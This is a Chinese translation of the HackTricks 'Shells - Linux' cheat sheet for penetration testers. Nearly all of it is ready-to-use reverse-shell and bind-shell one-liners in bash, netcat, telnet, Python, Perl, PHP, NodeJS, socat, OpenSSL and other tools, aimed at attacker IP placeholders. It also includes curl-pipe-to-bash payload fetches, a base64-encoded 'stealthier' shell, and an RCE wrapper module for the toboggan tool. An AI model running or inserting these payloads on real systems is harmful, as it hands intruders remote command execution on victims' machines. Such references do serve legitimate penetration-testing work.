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# Shells - Linux
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< details >
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< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
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其他支持HackTricks的方式:
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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< / details >
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**如果您对这些shell有任何疑问, 可以使用** [**https://explainshell.com/** ](https://explainshell.com ) **进行检查**
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## 完整TTY
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**一旦您获得反向shell**[ **阅读此页面以获取完整TTY** ](full-ttys.md)**。**
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## Bash | sh
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```bash
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curl https://reverse-shell.sh/1.1.1.1:3000 | bash
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bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1
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bash -i >& /dev/udp/127.0.0.1/4242 0>& 1 #UDP
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0< &196; exec 196< >/dev/tcp/< ATTACKER-IP > /< PORT > ; sh < & 196 >& 196 2>& 196
exec 5< >/dev/tcp/< ATTACKER-IP > /< PORT > ; while read line 0< &5; do $line 2>& 5 >&5; done
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#Short and bypass (credits to Dikline)
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(sh)0>/dev/tcp/10.10.10.10/9091
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#after getting the previous shell to get the output to execute
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exec >& 0
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```
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### 符号安全的shell
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```bash
#If you need a more stable connection do:
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bash -c 'bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1'
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#Stealthier method
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#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
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echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
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#### Shell解释
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1. ** `bash -i` **: 此部分命令启动一个交互式 (`-i`) Bash shell。
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2. ** `>&` **: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. ** `/dev/tcp/<攻击者IP>/<端口>` **: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
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* 通过**将输出和错误流重定向到此文件**, 该命令有效地将交互式shell会话的输出发送到攻击者的机器。
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4. ** `0>&1` **: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
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### 创建文件并执行
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```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1< ATTACKER-IP > /< PORT > 0>& 1' > /tmp/sh.sh; bash /tmp/sh.sh;
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wget http://< IP attacker > /shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
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```
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## 正向 Shell
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在处理基于 Linux 的 Web 应用中的 **远程代码执行 (RCE)** 漏洞时,通过网络防御措施如 iptables 规则或复杂的数据包过滤机制可能会阻碍反向 shell 的获取。在这种受限制的环境中,一种替代方法是建立一个 PTY( 伪终端) shell, 以更有效地与受损系统进行交互。
一个推荐的工具是 [toboggan ](https://github.com/n3rada/toboggan.git ),它简化了与目标环境的交互。
要有效地利用 toboggan, 创建一个针对目标系统 RCE 上下文的 Python 模块。例如,一个名为 `nix.py` 的模块可以按以下结构组织:
```python3
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*& L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
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return response.text
```
然后,您可以运行:
```shell
toboggan -m nix.py -i
```
直接利用交互式shell。您可以添加`-b`以进行Burpsuite集成, 并删除`-i`以获得更基本的rce包装。
另一种可能性是使用`IppSec`的前向shell实现[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。
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您只需要修改:
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- 受攻击主机的URL
- 您的有效负载的前缀和后缀(如果有的话)
- 发送有效负载的方式(头部?数据?额外信息?)
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然后,您可以**发送命令**,甚至**使用`upgrade`命令**来获得完整的PTY( 请注意, 管道的读取和写入会有大约1.3秒的延迟)。
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## Netcat
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```bash
nc -e /bin/sh < ATTACKER-IP > < PORT >
nc < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc < ATTACKER-IP > < PORT > >/tmp/f
nc < ATTACKER-IP > < PORT1 > | /bin/bash | nc < ATTACKER-IP > < PORT2 >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | nc < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
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## gsocket
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在 [https://www.gsocket.io/deploy/ ](https://www.gsocket.io/deploy/ ) 进行检查
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```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
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## Telnet
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Telnet( Telecommunication Network) 是一种用于远程登录的协议。 Telnet客户端将用户的键盘输入发送到Telnet服务器, 服务器将响应发送回客户端。 Telnet是一种明文协议, 因此不建议在不安全的网络上使用。
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```bash
telnet < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|telnet < ATTACKER-IP > < PORT > >/tmp/f
telnet < ATTACKER-IP > < PORT > | /bin/bash | telnet < ATTACKER-IP > < PORT >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | telnet < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
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## Whois
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**攻击者**
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```bash
while true; do nc -l < port > ; done
```
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将命令写下来, 按回车, 然后按CTRL+D( 停止STDIN)
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**受害者**
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```bash
export X=Connected; while true; do X=`eval $(whois -h < IP > -p < Port > "Output: $X")`; sleep 1; done
```
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## Python
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## Python
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```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
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python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
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```
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## Perl
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Perl是一种流行的脚本编程语言, 广泛用于系统管理、网络编程和安全测试。Perl脚本通常以.pl为扩展名。Perl在渗透测试中经常用于编写自定义脚本和工具, 以执行各种任务, 如信息收集、漏洞利用和后渗透阶段的操作。Perl具有强大的文本处理能力和模块化特性, 使其成为渗透测试人员的首选工具之一。
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```bash
perl -e 'use Socket;$i="< ATTACKER-IP > ";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
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## Ruby
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## Ruby
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```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < & %d >& %d 2>& %d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
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## PHP
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PHP是一种流行的服务器端脚本语言, 特别适用于Web开发。
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```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i < & 3 >& 3 2>&3"); '
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// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
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<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
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```
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## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/ATTACKING-IP/80;cat <& 5 | while read line; do \$line 2>& 5 >&5; done"] as String[])
p.waitFor()
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```
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## Ncat
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Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
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```bash
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victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
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```
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## Golang
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Golang是一种由Google开发的编程语言。
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```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go & & go run /tmp/t.go & & rm /tmp/t.go
```
## Lua
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Lua是一种轻量级、高效的脚本语言, 常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行, 也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力, 被广泛应用于各种领域。 Lua脚本可以通过调用C函数扩展其功能, 使其更加灵活和强大。 Lua的设计目标是提供一种简单、灵活、高效的脚本语言, 适用于各种应用场景。
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```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i < & 3 >& 3 2>&3'); "
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
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## NodeJS
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## NodeJS
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```javascript
(function(){
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var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
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})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
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require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>& 1'")
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or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
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// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
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https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
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## OpenSSL
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攻击者( Kali)
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```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
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受害者
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```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
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## **Socat**
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[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
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### 绑定 shell
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```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:< victim_ip > :1337
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```
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### 反向 shell
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```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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## Awk
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## Awk
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```bash
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awk 'BEGIN {s = "/inet/tcp/0/< IP > /< PORT > "; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
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```
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## Finger
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**攻击者**
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```bash
while true; do nc -l 79; done
```
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将命令写下来, 按回车, 然后按CTRL+D( 停止STDIN)
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**受害者**
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```bash
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
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## Gawk
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## Gawk
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Gawk是一个功能强大的文本处理工具, 可以用于处理文本数据、生成报告和提取信息。
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```bash
#!/usr/bin/gawk -f
BEGIN {
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Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
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}
```
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## Xterm
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这将尝试连接到您系统的6001端口:
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```bash
xterm -display 10.0.0.1:1
```
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要捕获反向 shell, 您可以使用以下命令( 将监听端口设置为 6001) :
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```bash
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# Authorize host
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xhost +targetip
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# Listen
Xnest :1
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```
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## Groovy
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由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意: Java反向shell也适用于Groovy
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```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
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## 参考资料
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* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell )
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ ](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
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